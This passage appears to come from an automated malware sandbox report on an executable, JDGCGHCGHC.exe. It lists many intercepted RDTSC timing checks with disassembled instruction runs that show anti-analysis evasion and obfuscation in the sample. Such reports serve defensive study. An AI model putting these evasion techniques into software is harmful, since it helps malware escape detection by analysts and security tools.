Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 887871 second address: 88787C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD0FD11A2C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 88C270 second address: 88C276 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 88F351 second address: 88F355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8933E6 second address: 893401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FCEAC567h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 893401 second address: 893420 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD0FD11A2C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD0FD11A2D3h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 893420 second address: 89344A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD0FCEAC558h 0x00000008 jng 00007FD0FCEAC567h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89344A second address: 89344E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89344E second address: 893452 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 893452 second address: 893458 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 895CCD second address: 895CD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD0FCEAC556h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 895F8D second address: 895F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 898903 second address: 89890A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89890A second address: 898925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD0FD11A2D1h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89AC35 second address: 89AC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89B68C second address: 89B691 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89B691 second address: 89B69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89B69E second address: 89B6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89C27F second address: 89C289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD0FCEAC556h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89D6B1 second address: 89D71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FD0FD11A2C8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 mov esi, dword ptr [ebp+122D185Dh] 0x00000028 push 00000000h 0x0000002a mov edi, 66F1EFEEh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FD0FD11A2C8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b jns 00007FD0FD11A2CCh 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 ja 00007FD0FD11A2C6h 0x0000005b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89F10F second address: 89F119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD0FCEAC556h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89F119 second address: 89F11D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89F11D second address: 89F141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD0FCEAC568h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89F141 second address: 89F145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A1084 second address: 8A1090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A1090 second address: 8A1094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A1094 second address: 8A1098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A4733 second address: 8A473C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A473C second address: 8A4749 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A582A second address: 8A5883 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FD0FD11A2C8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a and di, A603h 0x0000002f push 00000000h 0x00000031 xchg eax, esi 0x00000032 jmp 00007FD0FD11A2CCh 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FD0FD11A2CDh 0x0000003f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A7D12 second address: 8A7D18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A7D18 second address: 8A7D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0FD11A2D9h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A7D35 second address: 8A7D55 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD0FCEAC560h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A8EE8 second address: 8A8EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A8EED second address: 8A8F7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FD0FCEAC556h 0x00000009 jnl 00007FD0FCEAC556h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FD0FCEAC558h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f sub di, 3919h 0x00000034 push 00000000h 0x00000036 mov ebx, 00BBF113h 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007FD0FCEAC558h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 00000015h 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 jo 00007FD0FCEAC560h 0x0000005d jmp 00007FD0FCEAC55Ah 0x00000062 xchg eax, esi 0x00000063 jmp 00007FD0FCEAC562h 0x00000068 push eax 0x00000069 push esi 0x0000006a jng 00007FD0FCEAC55Ch 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A9EBB second address: 8A9EC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A9EC0 second address: 8A9EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AEE95 second address: 8AEEAB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD0FD11A2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007FD0FD11A2C8h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AEEAB second address: 8AEEAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AF44D second address: 8AF452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AF452 second address: 8AF45C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD0FCEAC556h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AF45C second address: 8AF4A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FD0FD11A2C8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov edi, edx 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D1C0Fh], ebx 0x0000002d push 00000000h 0x0000002f movzx edi, dx 0x00000032 xor bl, FFFFFFA9h 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 jnl 00007FD0FD11A2CCh 0x0000003e rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B03BB second address: 8B0417 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FD0FCEAC558h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FD0FCEAC558h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a cmc 0x0000002b stc 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D2EA5h], ebx 0x00000034 push 00000000h 0x00000036 sub dword ptr [ebp+124702B0h], edx 0x0000003c push eax 0x0000003d pushad 0x0000003e jmp 00007FD0FCEAC567h 0x00000043 push ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B1277 second address: 8B127B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B127B second address: 8B1281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B42AB second address: 8B42B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89C9E6 second address: 89C9EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 89F2FD second address: 89F301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A02B1 second address: 8A02B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A2429 second address: 8A242E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A48FC second address: 8A491F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD0FCEAC564h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A491F second address: 8A4923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A4923 second address: 8A492C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A59C8 second address: 8A59CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A59CC second address: 8A5A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jc 00007FD0FCEAC556h 0x0000000d pop esi 0x0000000e popad 0x0000000f nop 0x00000010 sub dword ptr [ebp+122D58CBh], eax 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007FD0FCEAC558h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 jmp 00007FD0FCEAC55Eh 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 and bx, 0422h 0x00000048 cmc 0x00000049 mov eax, dword ptr [ebp+122D0265h] 0x0000004f jmp 00007FD0FCEAC565h 0x00000054 push FFFFFFFFh 0x00000056 push 00000000h 0x00000058 push ebp 0x00000059 call 00007FD0FCEAC558h 0x0000005e pop ebp 0x0000005f mov dword ptr [esp+04h], ebp 0x00000063 add dword ptr [esp+04h], 00000019h 0x0000006b inc ebp 0x0000006c push ebp 0x0000006d ret 0x0000006e pop ebp 0x0000006f ret 0x00000070 nop 0x00000071 pushad 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A5A63 second address: 8A5A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD0FD11A2C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A7FEA second address: 8A7FF0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A7FF0 second address: 8A7FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A9096 second address: 8A909C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B92C2 second address: 8B92C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A909C second address: 8A9124 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop ecx 0x0000000f add ch, FFFFFFC1h 0x00000012 popad 0x00000013 pop edi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007FD0FCEAC558h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 jmp 00007FD0FCEAC560h 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 adc ebx, 43334627h 0x00000047 mov edi, dword ptr [ebp+122D273Bh] 0x0000004d mov eax, dword ptr [ebp+122D0275h] 0x00000053 mov edi, 5AD35609h 0x00000058 push FFFFFFFFh 0x0000005a or ebx, 4B9298A4h 0x00000060 nop 0x00000061 push ecx 0x00000062 jnp 00007FD0FCEAC55Ch 0x00000068 jp 00007FD0FCEAC556h 0x0000006e pop ecx 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 push edx 0x00000073 push eax 0x00000074 pop eax 0x00000075 pop edx 0x00000076 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A9124 second address: 8A912A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B92C8 second address: 8B92FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FD0FCEAC565h 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007FD0FCEAC556h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A912A second address: 8A912E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B92FE second address: 8B9302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AB07B second address: 8AB07F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A9FE7 second address: 8A9FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FCEAC55Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AC09C second address: 8AC0A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8A9FF9 second address: 8A9FFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AA0AA second address: 8AA0AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8BF248 second address: 8BF24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8BF24C second address: 8BF263 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FD0FD11A2CEh 0x0000000f pushad 0x00000010 popad 0x00000011 jp 00007FD0FD11A2C6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AD0EF second address: 8AD0F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8AD0F3 second address: 8AD174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push dword ptr fs:[00000000h] 0x00000010 or edi, dword ptr [ebp+122D3854h] 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007FD0FD11A2C8h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 mov eax, dword ptr [ebp+122D0B81h] 0x0000003d mov dword ptr [ebp+122D1F4Eh], edx 0x00000043 push FFFFFFFFh 0x00000045 push 00000000h 0x00000047 push edx 0x00000048 call 00007FD0FD11A2C8h 0x0000004d pop edx 0x0000004e mov dword ptr [esp+04h], edx 0x00000052 add dword ptr [esp+04h], 0000001Bh 0x0000005a inc edx 0x0000005b push edx 0x0000005c ret 0x0000005d pop edx 0x0000005e ret 0x0000005f jno 00007FD0FD11A2C8h 0x00000065 nop 0x00000066 push ecx 0x00000067 push eax 0x00000068 push edx 0x00000069 push esi 0x0000006a pop esi 0x0000006b rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B0546 second address: 8B054A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B054A second address: 8B054E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	RDTSC instruction interceptor: First address: 8B054E second address: 8B05D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FD0FCEAC558h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 clc 0x00000025 push dword ptr fs:[00000000h] 0x0000002c add dword ptr [ebp+122D18FEh], eax 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007FD0FCEAC558h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop 